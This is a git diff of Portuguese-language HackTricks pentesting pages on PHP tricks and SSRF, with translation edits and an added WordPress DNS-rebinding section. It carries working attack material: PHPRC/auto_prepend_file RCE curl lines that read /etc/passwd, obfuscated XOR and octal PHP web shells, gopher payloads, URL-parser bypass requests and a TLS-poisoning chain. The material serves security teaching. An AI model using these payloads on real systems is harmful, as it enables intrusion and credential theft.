|
||||
|
||||
{% content-ref url="php-ssrf.md" %}
|
||||
[php-ssrf.md](php-ssrf.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Execução de código
|
||||
|
||||
**system("ls");**\
|
||||
**\`ls\`;**\
|
||||
**shell\_exec("ls");**
|
||||
|
||||
[Verifique isso para mais funções úteis do PHP](php-useful-functions-disable\_functions-open\_basedir-bypass/)
|
||||
[Verifique isso para mais funções úteis do PHP](php-useful-functions-disable\_functions-open\_basedir-bypass/)
|
||||
|
||||
### **RCE via** **preg\_replace()**
|
||||
```php
|
||||
|
@ -261,17 +267,9 @@ function foo($x,$y){
|
|||
usort();}phpinfo;#, "cmp");
|
||||
}?>
|
||||
```
|
||||
Você também pode usar **//** para comentar o restante do código.
|
||||
|
||||
Para descobrir o número de parênteses que você precisa fechar:
|
||||
|
||||
- `?order=id;}//`: obtemos uma mensagem de erro (`Erro de análise: erro de sintaxe, ';' inesperado`). Provavelmente estamos faltando um ou mais colchetes.
|
||||
- `?order=id);}//`: recebemos um **aviso**. Isso parece estar correto.
|
||||
- `?order=id));}//`: obtemos uma mensagem de erro (`Erro de análise: erro de sintaxe, ')' inesperado`). Provavelmente temos muitos colchetes de fechamento.
|
||||
|
||||
### **RCE via .httaccess**
|
||||
|
||||
Se você puder **fazer upload** de um **.htaccess**, então você pode **configurar** várias coisas e até mesmo executar código (configurando que arquivos com extensão .htaccess podem ser **executados**).
|
||||
Se você pode **fazer upload** de um **.htaccess**, então você pode **configurar** várias coisas e até mesmo executar código (configurando que arquivos com extensão .htaccess podem ser **executados**).
|
||||
|
||||
Diferentes shells .htaccess podem ser encontrados [aqui](https://github.com/wireghoul/htshells)
|
||||
|
||||
|
@ -279,18 +277,18 @@ Diferentes shells .htaccess podem ser encontrados [aqui](https://github.com/wire
|
|||
|
||||
Se você encontrar uma vulnerabilidade que permita **modificar variáveis de ambiente no PHP** (e outra para fazer upload de arquivos, embora com mais pesquisa talvez isso possa ser contornado), você poderia abusar desse comportamento para obter **RCE**.
|
||||
|
||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Esta variável de ambiente permite carregar bibliotecas arbitrárias ao executar outros binários (embora neste caso possa não funcionar).
|
||||
- **`PHPRC`** : Instrui o PHP sobre **onde localizar seu arquivo de configuração**, geralmente chamado `php.ini`. Se você puder fazer upload do seu próprio arquivo de configuração, então use `PHPRC` para apontar o PHP para ele. Adicione uma entrada **`auto_prepend_file`** especificando um segundo arquivo carregado. Este segundo arquivo contém **código PHP normal, que é então executado** pelo tempo de execução do PHP antes de qualquer outro código.
|
||||
1. Faça upload de um arquivo PHP contendo nosso código de shell
|
||||
2. Faça upload de um segundo arquivo, contendo uma diretiva **`auto_prepend_file`** instruindo o pré-processador PHP a executar o arquivo que carregamos no passo 1
|
||||
3. Defina a variável `PHPRC` para o arquivo que carregamos no passo 2.
|
||||
- Obtenha mais informações sobre como executar essa cadeia [**no relatório original**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
|
||||
- **PHPRC** - outra opção
|
||||
- Se você **não puder fazer upload de arquivos**, você poderia usar no FreeBSD o "arquivo" `/dev/fd/0` que contém o **`stdin`**, sendo o **corpo** da solicitação enviada para o `stdin`:
|
||||
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||
- Ou para obter RCE, habilite **`allow_url_include`** e adicione um arquivo com **código PHP em base64**:
|
||||
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
||||
- Técnica [**deste relatório**](https://vulncheck.com/blog/juniper-cve-2023-36845).
|
||||
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Esta variável de ambiente permite carregar bibliotecas arbitrárias ao executar outros binários (embora neste caso possa não funcionar).
|
||||
* **`PHPRC`** : Instrui o PHP sobre **onde localizar seu arquivo de configuração**, geralmente chamado `php.ini`. Se você puder fazer upload do seu próprio arquivo de configuração, então use `PHPRC` para apontar o PHP para ele. Adicione uma entrada **`auto_prepend_file`** especificando um segundo arquivo enviado. Este segundo arquivo contém **código PHP normal, que é então executado** pelo tempo de execução do PHP antes de qualquer outro código.
|
||||
1. Faça upload de um arquivo PHP contendo nosso código shell
|
||||
2. Faça upload de um segundo arquivo, contendo uma diretiva **`auto_prepend_file`** instruindo o pré-processador PHP a executar o arquivo que enviamos no passo 1
|
||||
3. Defina a variável `PHPRC` para o arquivo que enviamos no passo 2.
|
||||
* Obtenha mais informações sobre como executar essa cadeia [**no relatório original**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
|
||||
* **PHPRC** - outra opção
|
||||
* Se você **não puder fazer upload de arquivos**, você poderia usar no FreeBSD o "arquivo" `/dev/fd/0` que contém o **`stdin`**, sendo o **corpo** da solicitação enviada para o `stdin`:
|
||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||
* Ou para obter RCE, habilite **`allow_url_include`** e adicione um arquivo com **código PHP em base64**:
|
||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
||||
* Técnica [**deste relatório**](https://vulncheck.com/blog/juniper-cve-2023-36845).
|
||||
|
||||
## Análise Estática do PHP
|
||||
|
||||
|
@ -306,9 +304,9 @@ Se estiver depurando uma aplicação PHP, você pode habilitar globalmente a imp
|
|||
|
||||
Você pode usar o **web**[ **www.unphp.net**](http://www.unphp.net) **para desofuscar código PHP.**
|
||||
|
||||
## Invólucros e Protocolos PHP
|
||||
## Wrappers e Protocolos PHP
|
||||
|
||||
Os invólucros e protocolos PHP podem permitir que você **bypass write and read protections** em um sistema e comprometê-lo. Para [**mais informações, consulte esta página**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
|
||||
Wrappers e protocolos PHP podem permitir que você **bypass write and read protections** em um sistema e comprometê-lo. Para [**mais informações, consulte esta página**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
|
||||
|
||||
## RCE não autenticado do Xdebug
|
||||
|
||||
|
@ -343,8 +341,6 @@ Se em uma página você pode **criar um novo objeto de uma classe arbitrária**,
|
|||
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
|
||||
```
|
||||
### **XOR**
|
||||
|
||||
XOR (ou exclusivo) é uma operação lógica que pode ser usada para ofuscar strings em PHP. É uma técnica comum usada para evitar a detecção de strings maliciosas em códigos PHP.
|
||||
```php
|
||||
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
|
||||
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
|
||||
|
@ -353,7 +349,7 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
|
|||
```
|
||||
### Código shell XOR fácil
|
||||
|
||||
De acordo com [**este artigo**](https://mgp25.com/ctf/Web-challenge/), é possível gerar um código shell XOR fácil desta maneira:
|
||||
De acordo com [**este artigo**](https://mgp25.com/ctf/Web-challenge/), é possível gerar um código shell XOR fácil desta forma:
|
||||
```php
|
||||
$_="`{{{"^"?<>/"; // $_ = '_GET';
|
||||
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
||||
|
@ -441,6 +437,6 @@ Outras maneiras de apoiar o HackTricks:
|
|||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -10,13 +10,13 @@ Outras maneiras de apoiar o HackTricks:
|
|||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -24,16 +24,30 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
### Funções PHP SSRF
|
||||
|
||||
Algumas funções como **file\_get\_contents(), fopen(), file(), md5\_file()** aceitam URLs como entrada que eles seguirão, tornando **possíveis vulnerabilidades de SSRF** se o usuário puder controlar os dados:
|
||||
Algumas funções como **file\_get\_contents(), fopen(), file(), md5\_file()** aceitam URLs como entrada que seguirão, tornando **possíveis vulnerabilidades de SSRF** se o usuário puder controlar os dados:
|
||||
```php
|
||||
file_get_contents("http://127.0.0.1:8081");
|
||||
fopen("http://127.0.0.1:8081", "r");
|
||||
file("http://127.0.0.1:8081");
|
||||
md5_file("http://127.0.0.1:8081");
|
||||
```
|
||||
### Wordpress SSRF via DNS Rebinding
|
||||
|
||||
Conforme [**explicado neste post de blog**](https://patchstack.com/articles/exploring-the-unpatched-wordpress-ssrf), até a função do Wordpress **`wp_safe_remote_get`** é vulnerável ao DNS rebinding, tornando-a potencialmente vulnerável a ataques de SSRF. A principal validação que ela chama é **wp\_http\_validate\_ur**l, que verifica se o protocolo é `http://` ou `https://` e se a porta é uma das **80**, **443** e **8080**, mas está **vulnerável ao DNS rebinding**.
|
||||
|
||||
Outras funções vulneráveis de acordo com o post são:
|
||||
|
||||
- `wp_safe_remote_request()`
|
||||
- `wp_safe_remote_post()`
|
||||
- `wp_safe_remote_head()`
|
||||
- `WP_REST_URL_Details_Controller::get_remote_url()`
|
||||
- `download_url()`
|
||||
- `wp_remote_fopen()`
|
||||
- `WP_oEmbed::discover()`
|
||||
|
||||
### CRLF
|
||||
|
||||
Além disso, em alguns casos, pode ser até possível enviar cabeçalhos arbitrários por meio de "vulnerabilidades" CRLF nas funções anteriores:
|
||||
Além disso, em alguns casos, pode até ser possível enviar cabeçalhos arbitrários via "vulnerabilidades" CRLF nas funções anteriores:
|
||||
```php
|
||||
# The following will create a header called from with value Hi and
|
||||
# an extra header "Injected: I HAVE IT"
|
||||
|
@ -52,7 +66,7 @@ Connection: close
|
|||
Para obter mais informações sobre essa vulnerabilidade CRLF, verifique esse bug [https://bugs.php.net/bug.php?id=81680\&edit=1](https://bugs.php.net/bug.php?id=81680\&edit=1)
|
||||
{% endhint %}
|
||||
|
||||
Observe que essas funções podem ter outros métodos para definir cabeçalhos arbitrários em requisições, como:
|
||||
Note que essas funções podem ter outros métodos para definir cabeçalhos arbitrários em requisições, como:
|
||||
```php
|
||||
$url = "";
|
||||
|
||||
|
@ -68,23 +82,22 @@ $options = array(
|
|||
$context = stream_context_create($options);
|
||||
$file = file_get_contents($url, false, $context);
|
||||
```
|
||||
**Try Hard Security Group**
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS de zero a herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -3,7 +3,7 @@
|
|||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=ssrf-server-side-request-forgery) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
|
||||
|
@ -24,7 +24,7 @@ Outras formas de apoiar o HackTricks:
|
|||
|
||||
## Informações Básicas
|
||||
|
||||
Uma vulnerabilidade de **Server-side Request Forgery (SSRF)** ocorre quando um atacante manipula uma **aplicação do lado do servidor** para fazer **requisições HTTP** para um domínio de sua escolha. Essa vulnerabilidade expõe o servidor a requisições externas arbitrárias direcionadas pelo atacante.
|
||||
Uma vulnerabilidade de **Server-side Request Forgery (SSRF)** ocorre quando um atacante manipula uma **aplicação do lado do servidor** para fazer **requisições HTTP** a um domínio de sua escolha. Essa vulnerabilidade expõe o servidor a requisições externas arbitrárias direcionadas pelo atacante.
|
||||
|
||||
## Captura de SSRF
|
||||
|
||||
|
@ -58,7 +58,7 @@ Leia mais aqui: [https://portswigger.net/web-security/ssrf](https://portswigger.
|
|||
* **file://**
|
||||
* O esquema de URL `file://` é referenciado, apontando diretamente para `/etc/passwd`: `file:///etc/passwd`
|
||||
* **dict://**
|
||||
* O esquema de URL DICT é descrito como sendo utilizado para acessar definições ou listas de palavras via o protocolo DICT. Um exemplo dado ilustra um URL construído direcionando uma palavra específica, banco de dados e número de entrada, bem como uma instância de um script PHP potencialmente sendo mal utilizado para se conectar a um servidor DICT usando credenciais fornecidas pelo atacante: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
|
||||
* O esquema de URL DICT é descrito como sendo utilizado para acessar definições ou listas de palavras via o protocolo DICT. Um exemplo dado ilustra uma URL construída direcionando uma palavra específica, banco de dados e número de entrada, bem como uma instância de um script PHP potencialmente sendo mal utilizado para se conectar a um servidor DICT usando credenciais fornecidas pelo atacante: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
|
||||
* **SFTP://**
|
||||
* Identificado como um protocolo para transferência segura de arquivos sobre shell seguro, um exemplo é fornecido mostrando como um script PHP poderia ser explorado para se conectar a um servidor SFTP malicioso: `url=sftp://generic.com:11111/`
|
||||
* **TFTP://**
|
||||
|
@ -74,7 +74,7 @@ From https://twitter.com/har1sec/status/1182255952055164929
|
|||
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
|
||||
4. connect
|
||||
```
|
||||
* **Curl URL globbing - Bypassando WAF**
|
||||
* **Curl URL globbing - Bypass de WAF**
|
||||
* Se o SSRF for executado pelo **curl**, o curl possui um recurso chamado [**URL globbing**](https://everything.curl.dev/cmdline/globbing) que poderia ser útil para contornar WAFs. Por exemplo, neste [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) você pode encontrar este exemplo de **travessia de caminho via protocolo `file`**:
|
||||
```
|
||||
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
|
||||
|
@ -130,7 +130,7 @@ curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
|
|||
```
|
||||
## SSRF via cabeçalho Referrer e Outros
|
||||
|
||||
O software de análise em servidores frequentemente registra o cabeçalho Referrer para rastrear links de entrada, uma prática que expõe inadvertidamente as aplicações a vulnerabilidades de SSRF (Server-Side Request Forgery). Isso ocorre porque esse tipo de software pode visitar URLs externos mencionados no cabeçalho Referrer para analisar o conteúdo do site de referência. Para descobrir essas vulnerabilidades, é aconselhável usar o plugin "**Collaborator Everywhere**" do Burp Suite, aproveitando a forma como as ferramentas de análise processam o cabeçalho Referer para identificar possíveis superfícies de ataque de SSRF.
|
||||
O software de análise em servidores frequentemente registra o cabeçalho Referrer para rastrear links de entrada, uma prática que expõe inadvertidamente aplicações a vulnerabilidades de SSRF (Server-Side Request Forgery). Isso ocorre porque esse tipo de software pode visitar URLs externos mencionados no cabeçalho Referrer para analisar o conteúdo do site de referência. Para descobrir essas vulnerabilidades, o plugin do Burp Suite "**Collaborator Everywhere**" é recomendado, aproveitando a forma como as ferramentas de análise processam o cabeçalho Referer para identificar possíveis superfícies de ataque de SSRF.
|
||||
|
||||
## SSRF via dados SNI do certificado
|
||||
|
||||
|
@ -145,7 +145,7 @@ ssl_preread on;
|
|||
}
|
||||
}
|
||||
```
|
||||
Nesta configuração, o valor do campo Server Name Indication (SNI) é diretamente utilizado como endereço do backend. Esta configuração expõe uma vulnerabilidade ao Ataque de Solicitação Falsificada do Lado do Servidor (SSRF), que pode ser explorada simplesmente especificando o endereço IP desejado ou nome de domínio no campo SNI. Um exemplo de exploração para forçar uma conexão a um backend arbitrário, como `internal.host.com`, usando o comando `openssl`, é fornecido abaixo:
|
||||
Nesta configuração, o valor do campo Server Name Indication (SNI) é diretamente utilizado como endereço do backend. Esta configuração expõe uma vulnerabilidade ao Server-Side Request Forgery (SSRF), que pode ser explorada simplesmente especificando o endereço IP desejado ou nome de domínio no campo SNI. Um exemplo de exploração para forçar uma conexão a um backend arbitrário, como `internal.host.com`, usando o comando `openssl`, é fornecido abaixo:
|
||||
```bash
|
||||
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
|
||||
```
|
||||
|
@ -165,11 +165,13 @@ Crie várias sessões e tente baixar arquivos pesados explorando o SSRF das sess
|
|||
|
||||
## Funções PHP SSRF
|
||||
|
||||
Verifique a seguinte página para funções PHP vulneráveis e até mesmo do Wordpress:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %}
|
||||
[php-ssrf.md](../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Redirecionamento SSRF para Gopher
|
||||
## SSRF Redirecionar para Gopher
|
||||
|
||||
Para algumas explorações, você pode precisar **enviar uma resposta de redirecionamento** (potencialmente para usar um protocolo diferente como gopher). Aqui você tem diferentes códigos python para responder com um redirecionamento:
|
||||
```python
|
||||
|
@ -238,7 +240,7 @@ app.run(threaded=False)
|
|||
```
|
||||
</details>
|
||||
|
||||
O Flask permite usar **`@`** como caractere inicial, o que permite fazer com que o **nome do host inicial seja o nome de usuário** e injetar um novo. Solicitação de ataque:
|
||||
Flask permite usar **`@`** como caractere inicial, o que permite tornar o **nome do host inicial o nome de usuário** e injetar um novo. Solicitação de ataque:
|
||||
```http
|
||||
GET @evildomain.com/ HTTP/1.1
|
||||
Host: target.com
|
||||
|
@ -277,15 +279,15 @@ var_dump($response);
|
|||
```
|
||||
</details>
|
||||
|
||||
O PHP permite o uso do **caractere `*` antes de uma barra na URL**, no entanto, possui outras limitações como só poder ser usado para o caminho raiz `/` e que pontos `.` não são permitidos antes da primeira barra, então é necessário usar um endereço IP codificado em hexadecimal sem pontos, por exemplo:
|
||||
O PHP permite o uso do **caractere `*` antes de uma barra na URL**, no entanto, possui outras limitações, como só poder ser usado para o caminho raiz `/` e que pontos `.` não são permitidos antes da primeira barra, sendo necessário usar um endereço IP codificado em hexadecimal sem pontos, por exemplo:
|
||||
```http
|
||||
GET *@0xa9fea9fe/ HTTP/1.1
|
||||
Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
## DNS Rebidding CORS/SOP bypass
|
||||
## Bypass de CORS/SOP com DNS Rebidding
|
||||
|
||||
Se você está tendo **problemas** para **exfiltrar conteúdo de um IP local** por causa do **CORS/SOP**, o **DNS Rebidding** pode ser usado para contornar essa limitação:
|
||||
Se estiver tendo **problemas** para **exfiltrar conteúdo de um IP local** devido ao **CORS/SOP**, o **DNS Rebidding** pode ser usado para contornar essa limitação:
|
||||
|
||||
{% content-ref url="../cors-bypass.md" %}
|
||||
[cors-bypass.md](../cors-bypass.md)
|
||||
|
@ -293,7 +295,7 @@ Se você está tendo **problemas** para **exfiltrar conteúdo de um IP local** p
|
|||
|
||||
### DNS Rebidding Automatizado
|
||||
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) é uma ferramenta para realizar ataques de [rebinding DNS](https://en.wikipedia.org/wiki/DNS\_rebinding). Inclui os componentes necessários para reverter o endereço IP do servidor de ataque para o nome DNS da máquina alvo e para servir payloads de ataque para explorar software vulnerável na máquina alvo.
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) é uma ferramenta para realizar ataques de [rebinding DNS](https://en.wikipedia.org/wiki/DNS\_rebinding). Inclui os componentes necessários para redefinir o endereço IP do servidor de ataque para o endereço IP da máquina alvo e para servir payloads de ataque para explorar software vulnerável na máquina alvo.
|
||||
|
||||
Confira também o **servidor em execução publicamente em** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
|
||||
|
||||
|
@ -307,28 +309,28 @@ Requisitos:
|
|||
|
||||
Ataque:
|
||||
|
||||
1. Peça ao usuário/robô **acessar** um **domínio** controlado pelo **atacante**
|
||||
1. Solicite ao usuário/bot **acessar** um **domínio** controlado pelo **atacante**
|
||||
2. O **TTL** do **DNS** é **0** seg (então a vítima verificará o IP do domínio novamente em breve)
|
||||
3. Uma **conexão TLS** é criada entre a vítima e o domínio do atacante. O atacante introduz o **payload dentro** do **ID de Sessão ou Ticket de Sessão**.
|
||||
4. O **domínio** iniciará um **loop infinito** de redirecionamentos contra **ele mesmo**. O objetivo disso é fazer o usuário/robô acessar o domínio até que ele realize **novamente** uma **solicitação DNS** do domínio.
|
||||
5. Na solicitação DNS, um endereço de **IP privado** é fornecido **agora** (127.0.0.1, por exemplo)
|
||||
6. O usuário/robô tentará **restabelecer a conexão TLS** e para fazer isso ele irá **enviar** o ID de **Sessão ou Ticket de Sessão** (onde o **payload** do atacante estava contido). Parabéns, você conseguiu fazer o **usuário/robô atacar a si mesmo**.
|
||||
4. O **domínio** iniciará um **loop infinito** de redirecionamentos contra **ele mesmo**. O objetivo disso é fazer o usuário/bot acessar o domínio até que ele realize **novamente** uma **solicitação DNS** do domínio.
|
||||
5. Na solicitação DNS, um endereço IP **privado** é fornecido **agora** (127.0.0.1, por exemplo)
|
||||
6. O usuário/bot tentará **restabelecer a conexão TLS** e para fazer isso ele irá **enviar** o ID de **Sessão ou Ticket de Sessão** (onde o **payload** do atacante estava contido). Parabéns, você conseguiu fazer o **usuário/bot atacar a si mesmo**.
|
||||
|
||||
Durante esse ataque, se você quiser atacar localhost:11211 (_memcache_), você precisa fazer a vítima estabelecer a conexão inicial com www.attacker.com:11211 (a **porta deve sempre ser a mesma**).\
|
||||
Para **realizar esse ataque, você pode usar a ferramenta**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
|
||||
Para **mais informações**, confira a palestra onde esse ataque é explicado: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)
|
||||
|
||||
## Blind SSRF
|
||||
## SSRF Cego
|
||||
|
||||
A diferença entre um SSRF cego e um não cego é que no cego você não pode ver a resposta da solicitação SSRF. Portanto, é mais difícil de explorar porque você só poderá explorar vulnerabilidades conhecidas.
|
||||
A diferença entre um SSRF cego e um não cego é que no cego você não consegue ver a resposta da solicitação SSRF. Portanto, é mais difícil de explorar porque você só poderá explorar vulnerabilidades conhecidas.
|
||||
|
||||
### SSRF baseado em tempo
|
||||
### SSRF Baseado em Tempo
|
||||
|
||||
**Verificando o tempo** das respostas do servidor, pode ser **possível saber se um recurso existe ou não** (talvez leve mais tempo para acessar um recurso existente do que acessar um que não existe)
|
||||
**Verificando o tempo** das respostas do servidor, pode ser **possível saber se um recurso existe ou não** (talvez leve mais tempo acessar um recurso existente do que acessar um que não existe)
|
||||
|
||||
## Exploração de SSRF na Nuvem
|
||||
|
||||
Se você encontrar uma vulnerabilidade de SSRF em uma máquina em execução dentro de um ambiente de nuvem, você pode obter informações interessantes sobre o ambiente de nuvem e até mesmo credenciais:
|
||||
Se encontrar uma vulnerabilidade de SSRF em uma máquina em execução dentro de um ambiente de nuvem, você pode obter informações interessantes sobre o ambiente de nuvem e até credenciais:
|
||||
|
||||
{% content-ref url="cloud-ssrf.md" %}
|
||||
[cloud-ssrf.md](cloud-ssrf.md)
|
||||
|
@ -352,7 +354,7 @@ Ferramenta para detectar e explorar vulnerabilidades de SSRF
|
|||
|
||||
* [Postagem no blog sobre o Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
|
||||
|
||||
Esta ferramenta gera payloads Gopher para:
|
||||
Esta ferramenta gera payloads de Gopher para:
|
||||
|
||||
* MySQL
|
||||
* PostgreSQL
|
||||
|
@ -365,11 +367,11 @@ Esta ferramenta gera payloads Gopher para:
|
|||
|
||||
* [Postagem no blog sobre o uso de SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
|
||||
|
||||
_remote-method-guesser_ é um scanner de vulnerabilidades _Java RMI_ que suporta operações de ataque para a maioria das vulnerabilidades comuns do _Java RMI_. A maioria das operações disponíveis suporta a opção `--ssrf`, para gerar um payload _SSRF_ para a operação solicitada. Juntamente com a opção `--gopher`, payloads _gopher_ prontos para uso podem ser gerados diretamente.
|
||||
_remote-method-guesser_ é um scanner de vulnerabilidades _Java RMI_ que suporta operações de ataque para a maioria das vulnerabilidades comuns do _Java RMI_. A maioria das operações disponíveis suporta a opção `--ssrf`, para gerar um payload de _SSRF_ para a operação solicitada. Juntamente com a opção `--gopher`, payloads de _gopher_ prontos para uso podem ser gerados diretamente.
|
||||
|
||||
### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy)
|
||||
|
||||
SSRF Proxy é um servidor proxy HTTP multi-threaded projetado para canalizar o tráfego HTTP do cliente por meio de servidores HTTP vulneráveis a Solicitação de Servidor-Side Forgery (SSRF).
|
||||
